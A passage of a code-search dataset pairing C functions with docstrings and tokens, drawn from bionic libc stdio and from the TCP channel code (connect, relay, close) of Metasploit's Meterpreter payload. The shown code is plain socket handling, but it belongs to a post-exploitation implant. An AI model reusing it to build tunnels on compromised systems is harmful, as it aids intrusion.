*/ | Handle getc() when the buffer ran out:
Refill, then return the first character
in the newly-filled buffer. | [
"Handle",
"getc",
"()",
"when",
"the",
"buffer",
"ran",
"out",
":",
"Refill",
"then",
"return",
"the",
"first",
"character",
"in",
"the",
"newly",
"-",
"filled",
"buffer",
"."
] | int
__srget(FILE *fp)
{
_SET_ORIENTATION(fp, -1);
if (__srefill(fp) == 0) {
fp->_r--;
return (*fp->_p++);
}
return (EOF);
} | [
"int",
"__srget",
"(",
"FILE",
"*",
"fp",
")",
"{",
"_SET_ORIENTATION",
"(",
"fp",
",",
"-1",
")",
";",
"if",
"(",
"__srefill",
"(",
"fp",
")",
"==",
"0",
")",
"{",
"fp",
"->",
"_r",
"--",
";",
"return",
"(",
"*",
"fp",
"->",
"_p",
"++",
")",
";",
"}",
"return",
"(",
"EOF",
")",
";",
"}"
] | Handle getc() when the buffer ran out:
Refill, then return the first character
in the newly-filled buffer. | [
"Handle",
"getc",
"()",
"when",
"the",
"buffer",
"ran",
"out",
":",
"Refill",
"then",
"return",
"the",
"first",
"character",
"in",
"the",
"newly",
"-",
"filled",
"buffer",
"."
] | [] | [
{
"param": "fp",
"type": "FILE"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "fp",
"type": "FILE",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
8a508dcdba7c373d899e409b277b7e0c0f96b471 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/stdio/fwrite.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | fwrite | size_t | size_t
fwrite(const void *buf, size_t size, size_t count, FILE *fp)
{
size_t n;
struct __suio uio;
struct __siov iov;
iov.iov_base = (void *)buf;
uio.uio_resid = iov.iov_len = n = count * size;
uio.uio_iov = &iov;
uio.uio_iovcnt = 1;
/*
* The usual case is success (__sfvwrite returns 0);
* skip the divide if this happens, since divides are
* generally slow and since this occurs whenever size==0.
*/
if (__sfvwrite(fp, &uio) == 0)
return (count);
return ((n - uio.uio_resid) / size);
} | /*
* Write `count' objects (each size `size') from memory to the given file.
* Return the number of whole objects written.
*/ | Write `count' objects (each size `size') from memory to the given file.
Return the number of whole objects written. | [
"Write",
"`",
"count",
"'",
"objects",
"(",
"each",
"size",
"`",
"size",
"'",
")",
"from",
"memory",
"to",
"the",
"given",
"file",
".",
"Return",
"the",
"number",
"of",
"whole",
"objects",
"written",
"."
] | size_t
fwrite(const void *buf, size_t size, size_t count, FILE *fp)
{
size_t n;
struct __suio uio;
struct __siov iov;
iov.iov_base = (void *)buf;
uio.uio_resid = iov.iov_len = n = count * size;
uio.uio_iov = &iov;
uio.uio_iovcnt = 1;
if (__sfvwrite(fp, &uio) == 0)
return (count);
return ((n - uio.uio_resid) / size);
} | [
"size_t",
"fwrite",
"(",
"const",
"void",
"*",
"buf",
",",
"size_t",
"size",
",",
"size_t",
"count",
",",
"FILE",
"*",
"fp",
")",
"{",
"size_t",
"n",
";",
"struct",
"__suio",
"uio",
";",
"struct",
"__siov",
"iov",
";",
"iov",
".",
"iov_base",
"=",
"(",
"void",
"*",
")",
"buf",
";",
"uio",
".",
"uio_resid",
"=",
"iov",
".",
"iov_len",
"=",
"n",
"=",
"count",
"*",
"size",
";",
"uio",
".",
"uio_iov",
"=",
"&",
"iov",
";",
"uio",
".",
"uio_iovcnt",
"=",
"1",
";",
"if",
"(",
"__sfvwrite",
"(",
"fp",
",",
"&",
"uio",
")",
"==",
"0",
")",
"return",
"(",
"count",
")",
";",
"return",
"(",
"(",
"n",
"-",
"uio",
".",
"uio_resid",
")",
"/",
"size",
")",
";",
"}"
] | Write `count' objects (each size `size') from memory to the given file. | [
"Write",
"`",
"count",
"'",
"objects",
"(",
"each",
"size",
"`",
"size",
"'",
")",
"from",
"memory",
"to",
"the",
"given",
"file",
"."
] | [
"/*\n\t * The usual case is success (__sfvwrite returns 0);\n\t * skip the divide if this happens, since divides are\n\t * generally slow and since this occurs whenever size==0.\n\t */"
] | [
{
"param": "buf",
"type": "void"
},
{
"param": "size",
"type": "size_t"
},
{
"param": "count",
"type": "size_t"
},
{
"param": "fp",
"type": "FILE"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "buf",
"type": "void",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "size",
"type": "size_t",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "count",
"type": "size_t",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "fp",
"type": "FILE",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
126754ada31155fecb1f3c420ca36940a22ebc46 | Oxicode/metasploit-framework | external/source/meterpreter/source/extensions/stdapi/server/net/socket/tcp.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | tcp_channel_client_write | DWORD | DWORD tcp_channel_client_write( Channel *channel, Packet *request, LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten)
{
DWORD dwResult = ERROR_SUCCESS;
TcpClientContext * ctx = NULL;
LONG written = 0;
do
{
dprintf( "[TCP] tcp_channel_client_write. channel=0x%08X, buffsize=%d", channel, bufferSize );
ctx = (TcpClientContext *)context;
if( !ctx )
BREAK_WITH_ERROR( "[TCP] tcp_channel_client_write. ctx == NULL", ERROR_INVALID_HANDLE );
written = send( ctx->fd, buffer, bufferSize, 0 );
if( written == SOCKET_ERROR )
{
dwResult = WSAGetLastError();
if( dwResult == WSAEWOULDBLOCK )
{
struct timeval tv = {0};
fd_set set = {0};
DWORD res = 0;
dprintf( "[TCP] tcp_channel_client_write. send returned WSAEWOULDBLOCK, waiting until we can send again..." );
while( TRUE )
{
tv.tv_sec = 0;
tv.tv_usec = 1000;
FD_ZERO( &set );
FD_SET( ctx->fd, &set );
res = select( 0, NULL, &set, NULL, &tv );
if( res > 0 )
{
dwResult = ERROR_SUCCESS;
break;
}
else if( res == SOCKET_ERROR )
{
dwResult = WSAGetLastError();
break;
}
Sleep( 100 );
}
if( dwResult == ERROR_SUCCESS )
continue;
else
dprintf( "[TCP] tcp_channel_client_write. select == SOCKET_ERROR. dwResult=%d", dwResult );
}
written = 0;
dprintf( "[TCP] tcp_channel_client_write. written == SOCKET_ERROR. dwResult=%d", dwResult );
}
if( bytesWritten )
*bytesWritten = written;
} while( 0 );
dprintf( "[TCP] tcp_channel_client_write. finished. dwResult=%d, written=%d", dwResult, written );
return dwResult;
} | /*
* Writes data from the remote half of the channel to the established connection.
*/ | Writes data from the remote half of the channel to the established connection. | [
"Writes",
"data",
"from",
"the",
"remote",
"half",
"of",
"the",
"channel",
"to",
"the",
"established",
"connection",
"."
] | DWORD tcp_channel_client_write( Channel *channel, Packet *request, LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten)
{
DWORD dwResult = ERROR_SUCCESS;
TcpClientContext * ctx = NULL;
LONG written = 0;
do
{
dprintf( "[TCP] tcp_channel_client_write. channel=0x%08X, buffsize=%d", channel, bufferSize );
ctx = (TcpClientContext *)context;
if( !ctx )
BREAK_WITH_ERROR( "[TCP] tcp_channel_client_write. ctx == NULL", ERROR_INVALID_HANDLE );
written = send( ctx->fd, buffer, bufferSize, 0 );
if( written == SOCKET_ERROR )
{
dwResult = WSAGetLastError();
if( dwResult == WSAEWOULDBLOCK )
{
struct timeval tv = {0};
fd_set set = {0};
DWORD res = 0;
dprintf( "[TCP] tcp_channel_client_write. send returned WSAEWOULDBLOCK, waiting until we can send again..." );
while( TRUE )
{
tv.tv_sec = 0;
tv.tv_usec = 1000;
FD_ZERO( &set );
FD_SET( ctx->fd, &set );
res = select( 0, NULL, &set, NULL, &tv );
if( res > 0 )
{
dwResult = ERROR_SUCCESS;
break;
}
else if( res == SOCKET_ERROR )
{
dwResult = WSAGetLastError();
break;
}
Sleep( 100 );
}
if( dwResult == ERROR_SUCCESS )
continue;
else
dprintf( "[TCP] tcp_channel_client_write. select == SOCKET_ERROR. dwResult=%d", dwResult );
}
written = 0;
dprintf( "[TCP] tcp_channel_client_write. written == SOCKET_ERROR. dwResult=%d", dwResult );
}
if( bytesWritten )
*bytesWritten = written;
} while( 0 );
dprintf( "[TCP] tcp_channel_client_write. finished. dwResult=%d, written=%d", dwResult, written );
return dwResult;
} | [
"DWORD",
"tcp_channel_client_write",
"(",
"Channel",
"*",
"channel",
",",
"Packet",
"*",
"request",
",",
"LPVOID",
"context",
",",
"LPVOID",
"buffer",
",",
"DWORD",
"bufferSize",
",",
"LPDWORD",
"bytesWritten",
")",
"{",
"DWORD",
"dwResult",
"=",
"ERROR_SUCCESS",
";",
"TcpClientContext",
"*",
"ctx",
"=",
"NULL",
";",
"LONG",
"written",
"=",
"0",
";",
"do",
"{",
"dprintf",
"(",
"\"",
"\"",
",",
"channel",
",",
"bufferSize",
")",
";",
"ctx",
"=",
"(",
"TcpClientContext",
"*",
")",
"context",
";",
"if",
"(",
"!",
"ctx",
")",
"BREAK_WITH_ERROR",
"(",
"\"",
"\"",
",",
"ERROR_INVALID_HANDLE",
")",
";",
"written",
"=",
"send",
"(",
"ctx",
"->",
"fd",
",",
"buffer",
",",
"bufferSize",
",",
"0",
")",
";",
"if",
"(",
"written",
"==",
"SOCKET_ERROR",
")",
"{",
"dwResult",
"=",
"WSAGetLastError",
"(",
")",
";",
"if",
"(",
"dwResult",
"==",
"WSAEWOULDBLOCK",
")",
"{",
"struct",
"timeval",
"tv",
"=",
"{",
"0",
"}",
";",
"fd_set",
"set",
"=",
"{",
"0",
"}",
";",
"DWORD",
"res",
"=",
"0",
";",
"dprintf",
"(",
"\"",
"\"",
")",
";",
"while",
"(",
"TRUE",
")",
"{",
"tv",
".",
"tv_sec",
"=",
"0",
";",
"tv",
".",
"tv_usec",
"=",
"1000",
";",
"FD_ZERO",
"(",
"&",
"set",
")",
";",
"FD_SET",
"(",
"ctx",
"->",
"fd",
",",
"&",
"set",
")",
";",
"res",
"=",
"select",
"(",
"0",
",",
"NULL",
",",
"&",
"set",
",",
"NULL",
",",
"&",
"tv",
")",
";",
"if",
"(",
"res",
">",
"0",
")",
"{",
"dwResult",
"=",
"ERROR_SUCCESS",
";",
"break",
";",
"}",
"else",
"if",
"(",
"res",
"==",
"SOCKET_ERROR",
")",
"{",
"dwResult",
"=",
"WSAGetLastError",
"(",
")",
";",
"break",
";",
"}",
"Sleep",
"(",
"100",
")",
";",
"}",
"if",
"(",
"dwResult",
"==",
"ERROR_SUCCESS",
")",
"continue",
";",
"else",
"dprintf",
"(",
"\"",
"\"",
",",
"dwResult",
")",
";",
"}",
"written",
"=",
"0",
";",
"dprintf",
"(",
"\"",
"\"",
",",
"dwResult",
")",
";",
"}",
"if",
"(",
"bytesWritten",
")",
"*",
"bytesWritten",
"=",
"written",
";",
"}",
"while",
"(",
"0",
")",
";",
"dprintf",
"(",
"\"",
"\"",
",",
"dwResult",
",",
"written",
")",
";",
"return",
"dwResult",
";",
"}"
] | Writes data from the remote half of the channel to the established connection. | [
"Writes",
"data",
"from",
"the",
"remote",
"half",
"of",
"the",
"channel",
"to",
"the",
"established",
"connection",
"."
] | [] | [
{
"param": "channel",
"type": "Channel"
},
{
"param": "request",
"type": "Packet"
},
{
"param": "context",
"type": "LPVOID"
},
{
"param": "buffer",
"type": "LPVOID"
},
{
"param": "bufferSize",
"type": "DWORD"
},
{
"param": "bytesWritten",
"type": "LPDWORD"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "channel",
"type": "Channel",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "request",
"type": "Packet",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "context",
"type": "LPVOID",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "buffer",
"type": "LPVOID",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "bufferSize",
"type": "DWORD",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "bytesWritten",
"type": "LPDWORD",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
126754ada31155fecb1f3c420ca36940a22ebc46 | Oxicode/metasploit-framework | external/source/meterpreter/source/extensions/stdapi/server/net/socket/tcp.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | tcp_channel_client_close | DWORD | DWORD tcp_channel_client_close(Channel *channel, Packet *request, LPVOID context)
{
TcpClientContext *ctx = (TcpClientContext *)context;
dprintf( "[TCP] tcp_channel_client_close. channel=0x%08X, ctx=0x%08X", channel, ctx );
if (ctx)
{
// Set the context channel to NULL so we don't try to close the
// channel (since it's already being closed)
ctx->channel = NULL;
// Free the context
free_tcp_client_context(ctx);
// Set the native channel operations context to NULL
channel_set_native_io_context(channel, NULL);
}
return ERROR_SUCCESS;
} | /*
* Closes the established connection and cleans up stale state
*/ | Closes the established connection and cleans up stale state | [
"Closes",
"the",
"established",
"connection",
"and",
"cleans",
"up",
"stale",
"state"
] | DWORD tcp_channel_client_close(Channel *channel, Packet *request, LPVOID context)
{
TcpClientContext *ctx = (TcpClientContext *)context;
dprintf( "[TCP] tcp_channel_client_close. channel=0x%08X, ctx=0x%08X", channel, ctx );
if (ctx)
{
ctx->channel = NULL;
free_tcp_client_context(ctx);
channel_set_native_io_context(channel, NULL);
}
return ERROR_SUCCESS;
} | [
"DWORD",
"tcp_channel_client_close",
"(",
"Channel",
"*",
"channel",
",",
"Packet",
"*",
"request",
",",
"LPVOID",
"context",
")",
"{",
"TcpClientContext",
"*",
"ctx",
"=",
"(",
"TcpClientContext",
"*",
")",
"context",
";",
"dprintf",
"(",
"\"",
"\"",
",",
"channel",
",",
"ctx",
")",
";",
"if",
"(",
"ctx",
")",
"{",
"ctx",
"->",
"channel",
"=",
"NULL",
";",
"free_tcp_client_context",
"(",
"ctx",
")",
";",
"channel_set_native_io_context",
"(",
"channel",
",",
"NULL",
")",
";",
"}",
"return",
"ERROR_SUCCESS",
";",
"}"
] | Closes the established connection and cleans up stale state | [
"Closes",
"the",
"established",
"connection",
"and",
"cleans",
"up",
"stale",
"state"
] | [
"// Set the context channel to NULL so we don't try to close the\r",
"// channel (since it's already being closed)\r",
"// Free the context\r",
"// Set the native channel operations context to NULL\r"
] | [
{
"param": "channel",
"type": "Channel"
},
{
"param": "request",
"type": "Packet"
},
{
"param": "context",
"type": "LPVOID"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "channel",
"type": "Channel",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "request",
"type": "Packet",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "context",
"type": "LPVOID",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
126754ada31155fecb1f3c420ca36940a22ebc46 | Oxicode/metasploit-framework | external/source/meterpreter/source/extensions/stdapi/server/net/socket/tcp.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | tcp_channel_client_local_notify | DWORD | DWORD tcp_channel_client_local_notify( Remote * remote, TcpClientContext * ctx )
{
struct timeval tv = {0};
fd_set set = {0};
UCHAR buf[16384] = {0};
LONG dwBytesRead = 0;
// We select in a loop with a zero second timeout because it's possible
// that we could get a recv notification and a close notification at once,
// so we need some way to make sure that we see them both, otherwise the
// event handle wont get re set to notify us.
do
{
// Reset the notification event
ResetEvent( ctx->notify );
FD_ZERO( &set );
FD_SET( ctx->fd, &set );
tv.tv_sec = 0;
tv.tv_usec = 0;
// Read data from the client connection
dwBytesRead = recv( ctx->fd, buf, sizeof(buf), 0 );
if( dwBytesRead == SOCKET_ERROR )
{
DWORD dwError = WSAGetLastError();
// WSAECONNRESET: The connection was forcibly closed by the remote host.
// WSAECONNABORTED: The connection was terminated due to a time-out or other failure.
if( dwError == WSAECONNRESET || dwError == WSAECONNABORTED )
{
dprintf( "[TCP] tcp_channel_client_local_notify. [error] closing down channel gracefully. WSAGetLastError=%d", dwError );
// By setting bytesRead to zero, we can ensure we close down the channel gracefully...
dwBytesRead = 0;
}
else if( dwError == WSAEWOULDBLOCK )
{
dprintf( "[TCP] tcp_channel_client_local_notify. channel=0x%08X. recv generated a WSAEWOULDBLOCK", ctx->channel );
// break and let the scheduler notify us again if needed.
break;
}
else
{
dprintf( "[TCP] tcp_channel_client_local_notify. [error] channel=0x%08X read=0x%.8x (ignored). WSAGetLastError=%d", ctx->channel, dwBytesRead, dwError );
// we loop again because bytesRead is -1.
}
}
if( dwBytesRead == 0 )
{
dprintf( "[TCP] tcp_channel_client_local_notify. [closed] channel=0x%08X read=0x%.8x", ctx->channel, dwBytesRead );
// Set the native channel operations context to NULL
channel_set_native_io_context( ctx->channel, NULL );
// Sleep for a quarter second
Sleep( 250 );
// Free the context
free_tcp_client_context( ctx );
// Stop processing
break;
}
else if( dwBytesRead > 0 )
{
if( ctx->channel )
{
dprintf( "[TCP] tcp_channel_client_local_notify. [data] channel=0x%08X read=%d", ctx->channel, dwBytesRead );
channel_write( ctx->channel, ctx->remote, NULL, 0, buf, dwBytesRead, 0 );
}
else
{
dprintf( "[TCP] tcp_channel_client_local_notify. [data] channel=<invalid> read=0x%.8x", dwBytesRead );
}
}
} while( select( 1, &set, NULL, NULL, &tv ) > 0 );
return ERROR_SUCCESS;
} | /*
* Callback for when there is data available on the local side of the TCP client connection
*/ | Callback for when there is data available on the local side of the TCP client connection | [
"Callback",
"for",
"when",
"there",
"is",
"data",
"available",
"on",
"the",
"local",
"side",
"of",
"the",
"TCP",
"client",
"connection"
] | DWORD tcp_channel_client_local_notify( Remote * remote, TcpClientContext * ctx )
{
struct timeval tv = {0};
fd_set set = {0};
UCHAR buf[16384] = {0};
LONG dwBytesRead = 0;
do
{
ResetEvent( ctx->notify );
FD_ZERO( &set );
FD_SET( ctx->fd, &set );
tv.tv_sec = 0;
tv.tv_usec = 0;
dwBytesRead = recv( ctx->fd, buf, sizeof(buf), 0 );
if( dwBytesRead == SOCKET_ERROR )
{
DWORD dwError = WSAGetLastError();
if( dwError == WSAECONNRESET || dwError == WSAECONNABORTED )
{
dprintf( "[TCP] tcp_channel_client_local_notify. [error] closing down channel gracefully. WSAGetLastError=%d", dwError );
dwBytesRead = 0;
}
else if( dwError == WSAEWOULDBLOCK )
{
dprintf( "[TCP] tcp_channel_client_local_notify. channel=0x%08X. recv generated a WSAEWOULDBLOCK", ctx->channel );
break;
}
else
{
dprintf( "[TCP] tcp_channel_client_local_notify. [error] channel=0x%08X read=0x%.8x (ignored). WSAGetLastError=%d", ctx->channel, dwBytesRead, dwError );
}
}
if( dwBytesRead == 0 )
{
dprintf( "[TCP] tcp_channel_client_local_notify. [closed] channel=0x%08X read=0x%.8x", ctx->channel, dwBytesRead );
channel_set_native_io_context( ctx->channel, NULL );
Sleep( 250 );
free_tcp_client_context( ctx );
break;
}
else if( dwBytesRead > 0 )
{
if( ctx->channel )
{
dprintf( "[TCP] tcp_channel_client_local_notify. [data] channel=0x%08X read=%d", ctx->channel, dwBytesRead );
channel_write( ctx->channel, ctx->remote, NULL, 0, buf, dwBytesRead, 0 );
}
else
{
dprintf( "[TCP] tcp_channel_client_local_notify. [data] channel=<invalid> read=0x%.8x", dwBytesRead );
}
}
} while( select( 1, &set, NULL, NULL, &tv ) > 0 );
return ERROR_SUCCESS;
} | [
"DWORD",
"tcp_channel_client_local_notify",
"(",
"Remote",
"*",
"remote",
",",
"TcpClientContext",
"*",
"ctx",
")",
"{",
"struct",
"timeval",
"tv",
"=",
"{",
"0",
"}",
";",
"fd_set",
"set",
"=",
"{",
"0",
"}",
";",
"UCHAR",
"buf",
"[",
"16384",
"]",
"=",
"{",
"0",
"}",
";",
"LONG",
"dwBytesRead",
"=",
"0",
";",
"do",
"{",
"ResetEvent",
"(",
"ctx",
"->",
"notify",
")",
";",
"FD_ZERO",
"(",
"&",
"set",
")",
";",
"FD_SET",
"(",
"ctx",
"->",
"fd",
",",
"&",
"set",
")",
";",
"tv",
".",
"tv_sec",
"=",
"0",
";",
"tv",
".",
"tv_usec",
"=",
"0",
";",
"dwBytesRead",
"=",
"recv",
"(",
"ctx",
"->",
"fd",
",",
"buf",
",",
"sizeof",
"(",
"buf",
")",
",",
"0",
")",
";",
"if",
"(",
"dwBytesRead",
"==",
"SOCKET_ERROR",
")",
"{",
"DWORD",
"dwError",
"=",
"WSAGetLastError",
"(",
")",
";",
"if",
"(",
"dwError",
"==",
"WSAECONNRESET",
"||",
"dwError",
"==",
"WSAECONNABORTED",
")",
"{",
"dprintf",
"(",
"\"",
"\"",
",",
"dwError",
")",
";",
"dwBytesRead",
"=",
"0",
";",
"}",
"else",
"if",
"(",
"dwError",
"==",
"WSAEWOULDBLOCK",
")",
"{",
"dprintf",
"(",
"\"",
"\"",
",",
"ctx",
"->",
"channel",
")",
";",
"break",
";",
"}",
"else",
"{",
"dprintf",
"(",
"\"",
"\"",
",",
"ctx",
"->",
"channel",
",",
"dwBytesRead",
",",
"dwError",
")",
";",
"}",
"}",
"if",
"(",
"dwBytesRead",
"==",
"0",
")",
"{",
"dprintf",
"(",
"\"",
"\"",
",",
"ctx",
"->",
"channel",
",",
"dwBytesRead",
")",
";",
"channel_set_native_io_context",
"(",
"ctx",
"->",
"channel",
",",
"NULL",
")",
";",
"Sleep",
"(",
"250",
")",
";",
"free_tcp_client_context",
"(",
"ctx",
")",
";",
"break",
";",
"}",
"else",
"if",
"(",
"dwBytesRead",
">",
"0",
")",
"{",
"if",
"(",
"ctx",
"->",
"channel",
")",
"{",
"dprintf",
"(",
"\"",
"\"",
",",
"ctx",
"->",
"channel",
",",
"dwBytesRead",
")",
";",
"channel_write",
"(",
"ctx",
"->",
"channel",
",",
"ctx",
"->",
"remote",
",",
"NULL",
",",
"0",
",",
"buf",
",",
"dwBytesRead",
",",
"0",
")",
";",
"}",
"else",
"{",
"dprintf",
"(",
"\"",
"\"",
",",
"dwBytesRead",
")",
";",
"}",
"}",
"}",
"while",
"(",
"select",
"(",
"1",
",",
"&",
"set",
",",
"NULL",
",",
"NULL",
",",
"&",
"tv",
")",
">",
"0",
")",
";",
"return",
"ERROR_SUCCESS",
";",
"}"
] | Callback for when there is data available on the local side of the TCP client connection | [
"Callback",
"for",
"when",
"there",
"is",
"data",
"available",
"on",
"the",
"local",
"side",
"of",
"the",
"TCP",
"client",
"connection"
] | [
"// We select in a loop with a zero second timeout because it's possible\r",
"// that we could get a recv notification and a close notification at once,\r",
"// so we need some way to make sure that we see them both, otherwise the\r",
"// event handle wont get re set to notify us.\r",
"// Reset the notification event\r",
"// Read data from the client connection\r",
"// WSAECONNRESET: The connection was forcibly closed by the remote host.\r",
"// WSAECONNABORTED: The connection was terminated due to a time-out or other failure.\r",
"// By setting bytesRead to zero, we can ensure we close down the channel gracefully...\r",
"// break and let the scheduler notify us again if needed.\r",
"// we loop again because bytesRead is -1.\r",
"// Set the native channel operations context to NULL\r",
"// Sleep for a quarter second\r",
"// Free the context\r",
"// Stop processing\r"
] | [
{
"param": "remote",
"type": "Remote"
},
{
"param": "ctx",
"type": "TcpClientContext"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "remote",
"type": "Remote",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "ctx",
"type": "TcpClientContext",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
126754ada31155fecb1f3c420ca36940a22ebc46 | Oxicode/metasploit-framework | external/source/meterpreter/source/extensions/stdapi/server/net/socket/tcp.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | create_tcp_client_channel | DWORD | DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remotePort, Channel **outChannel)
{
StreamChannelOps chops;
TcpClientContext *ctx = NULL;
DWORD result = ERROR_SUCCESS;
Channel *channel = NULL;
struct sockaddr_in s;
SOCKET clientFd = 0;
if (outChannel)
*outChannel = NULL;
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d", remoteHost, remotePort );
do
{
// Allocate a client socket
if ((clientFd = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0)) == INVALID_SOCKET)
{
clientFd = 0;
result = GetLastError();
break;
}
s.sin_family = AF_INET;
s.sin_port = htons(remotePort);
s.sin_addr.s_addr = inet_addr(remoteHost);
// Resolve the host name locally
if (s.sin_addr.s_addr == (DWORD)-1)
{
struct hostent *h;
if (!(h = gethostbyname(remoteHost)))
{
result = GetLastError();
break;
}
memcpy(&s.sin_addr.s_addr, h->h_addr, h->h_length);
}
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d connecting...", remoteHost, remotePort );
// Try to connect to the host/port
if (connect(clientFd, (struct sockaddr *)&s, sizeof(s)) == SOCKET_ERROR)
{
result = GetLastError();
break;
}
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d connected!", remoteHost, remotePort );
// Allocate the client context for tracking the connection
if (!(ctx = (TcpClientContext *)malloc( sizeof(TcpClientContext))))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Initialize the context attributes
memset(ctx, 0, sizeof(TcpClientContext));
ctx->remote = remote;
ctx->fd = clientFd;
// Initialize the channel operations structure
memset(&chops, 0, sizeof(chops));
chops.native.context = ctx;
chops.native.write = tcp_channel_client_write;
chops.native.close = tcp_channel_client_close;
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d creating the channel", remoteHost, remotePort );
// Allocate an uninitialized channel for associated with this connection
if (!(channel = channel_create_stream(0, 0,&chops)))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Save the channel context association
ctx->channel = channel;
// Finally, create a waitable event and insert it into the scheduler's
// waitable list
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d creating the notify", remoteHost, remotePort );
if ((ctx->notify = WSACreateEvent()))
{
WSAEventSelect(ctx->fd, ctx->notify, FD_READ|FD_CLOSE);
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d created the notify %.8x", remoteHost, remotePort, ctx->notify );
scheduler_insert_waitable( ctx->notify, ctx, (WaitableNotifyRoutine)tcp_channel_client_local_notify);
}
} while (0);
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d all done", remoteHost, remotePort );
// Clean up on failure
if (result != ERROR_SUCCESS)
{
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d cleaning up failed connection", remoteHost, remotePort );
if (ctx)
free_tcp_client_context(ctx);
if (clientFd)
closesocket(clientFd);
channel = NULL;
}
if (outChannel)
*outChannel = channel;
return result;
} | /*
* Creates a connection to a remote host and builds a logical channel to
* represent it.
*
*/ | Creates a connection to a remote host and builds a logical channel to
represent it. | [
"Creates",
"a",
"connection",
"to",
"a",
"remote",
"host",
"and",
"builds",
"a",
"logical",
"channel",
"to",
"represent",
"it",
"."
] | DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remotePort, Channel **outChannel)
{
StreamChannelOps chops;
TcpClientContext *ctx = NULL;
DWORD result = ERROR_SUCCESS;
Channel *channel = NULL;
struct sockaddr_in s;
SOCKET clientFd = 0;
if (outChannel)
*outChannel = NULL;
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d", remoteHost, remotePort );
do
{
if ((clientFd = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0)) == INVALID_SOCKET)
{
clientFd = 0;
result = GetLastError();
break;
}
s.sin_family = AF_INET;
s.sin_port = htons(remotePort);
s.sin_addr.s_addr = inet_addr(remoteHost);
if (s.sin_addr.s_addr == (DWORD)-1)
{
struct hostent *h;
if (!(h = gethostbyname(remoteHost)))
{
result = GetLastError();
break;
}
memcpy(&s.sin_addr.s_addr, h->h_addr, h->h_length);
}
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d connecting...", remoteHost, remotePort );
if (connect(clientFd, (struct sockaddr *)&s, sizeof(s)) == SOCKET_ERROR)
{
result = GetLastError();
break;
}
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d connected!", remoteHost, remotePort );
if (!(ctx = (TcpClientContext *)malloc( sizeof(TcpClientContext))))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
memset(ctx, 0, sizeof(TcpClientContext));
ctx->remote = remote;
ctx->fd = clientFd;
memset(&chops, 0, sizeof(chops));
chops.native.context = ctx;
chops.native.write = tcp_channel_client_write;
chops.native.close = tcp_channel_client_close;
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d creating the channel", remoteHost, remotePort );
if (!(channel = channel_create_stream(0, 0,&chops)))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
ctx->channel = channel;
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d creating the notify", remoteHost, remotePort );
if ((ctx->notify = WSACreateEvent()))
{
WSAEventSelect(ctx->fd, ctx->notify, FD_READ|FD_CLOSE);
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d created the notify %.8x", remoteHost, remotePort, ctx->notify );
scheduler_insert_waitable( ctx->notify, ctx, (WaitableNotifyRoutine)tcp_channel_client_local_notify);
}
} while (0);
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d all done", remoteHost, remotePort );
if (result != ERROR_SUCCESS)
{
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d cleaning up failed connection", remoteHost, remotePort );
if (ctx)
free_tcp_client_context(ctx);
if (clientFd)
closesocket(clientFd);
channel = NULL;
}
if (outChannel)
*outChannel = channel;
return result;
} | [
